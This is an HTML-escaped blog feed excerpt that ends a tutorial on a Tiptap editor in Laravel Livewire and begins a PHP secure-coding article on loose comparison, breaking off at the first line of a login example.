    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toggleItalic&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toggleItalic&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toggleH2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toggleHeading&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toggleH3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toggleHeading&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toggleH4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toggleHeading&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toggleOrderedList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toggleOrderedList&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toggleBulletList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toggleBulletList&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are two key points that we should take from that code snippet. &lt;/p&gt;

&lt;h3&gt;
  
  
  Styling the Editor with Tailwind CSS
&lt;/h3&gt;

&lt;p&gt;The editorProps are being used to apply Tailwind CSS (which I assume you are familiar with) classes to the editor's root DOM element. These classes handle the visual styling and interaction feedback. &lt;a href="https://tiptap.dev/docs/editor/getting-started/style-editor#style-with-tailwind-css" rel="noopener noreferrer"&gt;Learn More&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;editorProps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;p-2 prose-sm min-h-60 prose-h1:mb-0 focus:border-indigo-500 dark:focus:border-indigo-600 focus:ring-indigo-500 dark:focus:ring-indigo-600 focus:outline-none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Editor Commands for Text Formatting
&lt;/h3&gt;

&lt;p&gt;The editor instance provides several custom commands for text formatting. These commands make it easy to apply specific styles or content structures, such as bold, italic, headings, and lists.&lt;/p&gt;

&lt;p&gt;You may notice that we don't include the &lt;code&gt;Level:1&lt;/code&gt; because we don't want the user to be able to add multiple &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; on the page, which is bad for SEO. But you'll see how we will create the illusion to the user that they are adding a H1 🤓.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;StarterKit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;heading&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;levels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="c1"&gt;// here we leave the level 1 out. &lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next step though, is to make them visible on our component. So back we go to our &lt;code&gt;tiptap.blade.php&lt;/code&gt; component to sprinkle some more last touches of code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;x-data=&lt;/span&gt;&lt;span class="s"&gt;"setupEditor(
    $wire.entangle('{{ $attributes-&amp;gt;wire('model')-&amp;gt;value() }}')
)"&lt;/span&gt; &lt;span class="na"&gt;x-init=&lt;/span&gt;&lt;span class="s"&gt;"() =&amp;gt; init($refs.editor)"&lt;/span&gt; &lt;span class="na"&gt;wire:ignore&lt;/span&gt; &lt;span class="err"&gt;{{&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="na"&gt;attributes-&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;whereDoesntStartWith('wire:model') }}&amp;gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"flex w-full border-b divide-x  dark:bg-slate-900 divide-slate-700 border-slate-700 rounded-t-md"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"button"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 rounded-tl-md"&lt;/span&gt;
            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="na"&gt;click=&lt;/span&gt;&lt;span class="s"&gt;"toggleBold();"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;x-svg&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"w-5 h-auto"&lt;/span&gt; &lt;span class="na"&gt;svg=&lt;/span&gt;&lt;span class="s"&gt;"bold"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"button"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"&lt;/span&gt;
            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="na"&gt;click=&lt;/span&gt;&lt;span class="s"&gt;"toggleItalic()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;x-svg&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"w-5 h-auto"&lt;/span&gt; &lt;span class="na"&gt;svg=&lt;/span&gt;&lt;span class="s"&gt;"italic"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"button"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"&lt;/span&gt;
            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="na"&gt;click=&lt;/span&gt;&lt;span class="s"&gt;"toggleH2()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;x-svg&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"w-5 h-auto"&lt;/span&gt; &lt;span class="na"&gt;svg=&lt;/span&gt;&lt;span class="s"&gt;"h-1"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"button"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"&lt;/span&gt;
            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="na"&gt;click=&lt;/span&gt;&lt;span class="s"&gt;"toggleH3()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;x-svg&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"w-5 h-auto"&lt;/span&gt; &lt;span class="na"&gt;svg=&lt;/span&gt;&lt;span class="s"&gt;"h-2"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"button"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"&lt;/span&gt;
            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="na"&gt;click=&lt;/span&gt;&lt;span class="s"&gt;"toggleH4()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;x-svg&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"w-5 h-auto"&lt;/span&gt; &lt;span class="na"&gt;svg=&lt;/span&gt;&lt;span class="s"&gt;"h-3"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"button"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"&lt;/span&gt;
            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="na"&gt;click=&lt;/span&gt;&lt;span class="s"&gt;"toggleOrderedList()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;x-svg&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"w-5 h-auto"&lt;/span&gt; &lt;span class="na"&gt;svg=&lt;/span&gt;&lt;span class="s"&gt;"list-numbers"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"button"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"&lt;/span&gt;
            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="na"&gt;click=&lt;/span&gt;&lt;span class="s"&gt;"toggleBulletList()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;x-svg&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"w-5 h-auto"&lt;/span&gt; &lt;span class="na"&gt;svg=&lt;/span&gt;&lt;span class="s"&gt;"list"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"border-gray-300 shadow-sm rounded-b-md dark:border-gray-700 dark:bg-slate-900 dark:text-gray-300"&lt;/span&gt;
        &lt;span class="na"&gt;x-ref=&lt;/span&gt;&lt;span class="s"&gt;"editor"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the SVGs in this snippet, I used a cool blade component that I've created in a previous article &lt;a href="https://sudorealm.com/blog/laravel-blade-svg-component" rel="noopener noreferrer"&gt;&lt;strong&gt;Laravel Blade SVG Component&lt;/strong&gt;&lt;/a&gt;. Feel free to add it to your toolbelt, it's very useful! Maybe my most reused blade component. &lt;/p&gt;

&lt;p&gt;By now, you should be looking at the final result I teased at the start—just like we planned all along! What we built. 😀&lt;/p&gt;

&lt;p&gt;But... oops... we are missing link support! &lt;/p&gt;

&lt;h2&gt;
  
  
  Link Support
&lt;/h2&gt;

&lt;p&gt;To get link support up and running, we’ll start by installing the necessary package from the Tiptap extensions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Install:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; @tiptap/extension-link
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Include&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Markdown&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;tiptap-markdown&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Link&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@tiptap/extension-link&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="c1"&gt;// new line&lt;/span&gt;

&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="nx"&gt;extensions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nx"&gt;StarterKit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="na"&gt;heading&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;levels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="nx"&gt;Markdown&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;Link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="na"&gt;autolink&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;defaultProtocol&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we’ve officially added link support to our Tiptap editor, thanks to Tiptap’s ridiculously easy extension system. Just like that, you can insert links with ease, with the bonus of automatic linking and a default protocol of &lt;code&gt;HTTPS&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚧 If you hardcode &lt;code&gt;http://&lt;/code&gt; into the link, it will remain as-is, and won't be automatically converted to &lt;code&gt;https&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;And there you have it! We’ve barely scratched the surface of what &lt;strong&gt;Tiptap Rich Text Editor&lt;/strong&gt; can do, and already we’ve added powerful &lt;strong&gt;link support&lt;/strong&gt;, &lt;strong&gt;Markdown integration&lt;/strong&gt;, and customized the editor’s behavior and looks—all without breaking a sweat. The beauty of Tiptap lies in its endless extensibility. Want tables, embeds, or custom plugins? No problem. There’s always something more to explore. Plus, with Livewire in the mix, you can enjoy real-time updates without needing a PhD in JavaScript. The only limit is your imagination...&lt;/p&gt;

&lt;p&gt;I hope this walkthrough sparked your creativity and gave you the urge to dive deeper into Tiptap. There’s so much more you can do with this amazing editor—so go ahead, experiment, and build something awesome! I know I'll do 😉. &lt;/p&gt;

&lt;p&gt;And if you want to stay updated on new articles, tips, and tricks (because trust me, we’re far from done with Tiptap), be sure to follow me here on &lt;a href="https://sudorealm.com/blog/profile/d3ad-r1nger" rel="noopener noreferrer"&gt;&lt;strong&gt;Sudorealm&lt;/strong&gt;&lt;/a&gt; or  &lt;a href="https://github.com/athanstan" rel="noopener noreferrer"&gt;&lt;strong&gt;Github @athanstan&lt;/strong&gt;&lt;/a&gt;. I’ll be covering more advanced extensions and clever hacks to make our rich text editor even more powerful. Stay tuned, and let’s keep pushing the boundaries together!&lt;/p&gt;

</description>
      <category>livewire</category>
      <category>php</category>
      <category>laravel</category>
      <category>alpinejs</category>
    </item>
    <item>
      <title>PHP Secure Coding: Don't Let the Code Get Loose</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Sat, 17 Aug 2024 09:08:51 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/php-secure-coding-dont-let-the-code-get-loose-26ja</link>
      <guid>https://dev.to/d3adr1nger/php-secure-coding-dont-let-the-code-get-loose-26ja</guid>
      <description>&lt;p&gt;I was having a casual chat with a friend the other day who is a tech lead on a successful startup, and while we were watching the Olympics final of women's water polo, we started talking about a PHP fail I found in the wild 🤓. Him being a tech lead and me being a mid-dev, I was expecting him to have already tackled this fail in his everyday grind, but well... as surprising as it sounds he hadn't.&lt;br&gt;
The "fail" I am talking about, and you probably have already guessed it, is nothing else but PHP's &lt;strong&gt;loose comparison&lt;/strong&gt;. Now, to be fair, I wouldn't really call it so much of a fail, but a feature, but its usage can be so dangerous that, in that sense, it's a &lt;strong&gt;fail&lt;/strong&gt;! Let's get our nerd on!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://i.giphy.com/media/v1.Y2lkPTc5MGI3NjExeXVreTF1ejg1eXNseWljMTY3MXY2Z3ZpZmwxc29qZ3pmZ3J5YzV0MSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/h4vwQVHqzZmM1zzUFq/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/v1.Y2lkPTc5MGI3NjExeXVreTF1ejg1eXNseWljMTY3MXY2Z3ZpZmwxc29qZ3pmZ3J5YzV0MSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/h4vwQVHqzZmM1zzUFq/giphy.gif" alt="failure gif on sudorealm" width="480" height="270"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Table of contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP Loose Comparison&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerable Scenarios&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The insecure login system&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The insecure authorization with a twist&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigating the loose comparison bug&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sudorealm.com" rel="noopener noreferrer"&gt;&lt;strong&gt;Show love @Sudorealm&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  PHP Loose Comparison
&lt;/h2&gt;

&lt;p&gt;Loose comparison in PHP is when you compare two values using the &lt;code&gt;==&lt;/code&gt; operator, which does not check the data types of the variables being compared. PHP will try to convert the values to a common type before comparing them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'string'&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
 &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Weedle I choose you'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
 &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Charizard I choose you'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Believe it or not, we are about to send a 3-level Weedle into battle here, while our Charizard remains unused. &lt;strong&gt;WHY?&lt;/strong&gt; Well, in the example above, PHP converts the string 'string' to &lt;strong&gt;true&lt;/strong&gt; before comparing it with &lt;strong&gt;true&lt;/strong&gt;, leading to a true comparison 🥴. This behavior, while sometimes useful, can be dangerous if not properly understood and controlled.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Check this &lt;a href="https://www.php.net/manual/en/types.comparisons.php" rel="noopener noreferrer"&gt;Loose Comparisons Table&lt;/a&gt; from the PHP Docs for more information&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It might not seem as much at first, but trust me to a trained developer's eye this out of nowhere trick might send shivers to their bones and send them to a production code refactoring spree. &lt;/p&gt;

&lt;h2&gt;
  
  
  Vulnerable Scenarios
&lt;/h2&gt;

&lt;p&gt;In this section of the article, I'll try to give out some code blocks that when found in the wild could get you a handsome bug bounty reward, also if you find anything remotely similar to your codebase... change it 😁&lt;/p&gt;

&lt;h3&gt;
  
  
  The insecure login system
&lt;/h3&gt;

&lt;p&gt;In the snippet below you see a very basic login system logic.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
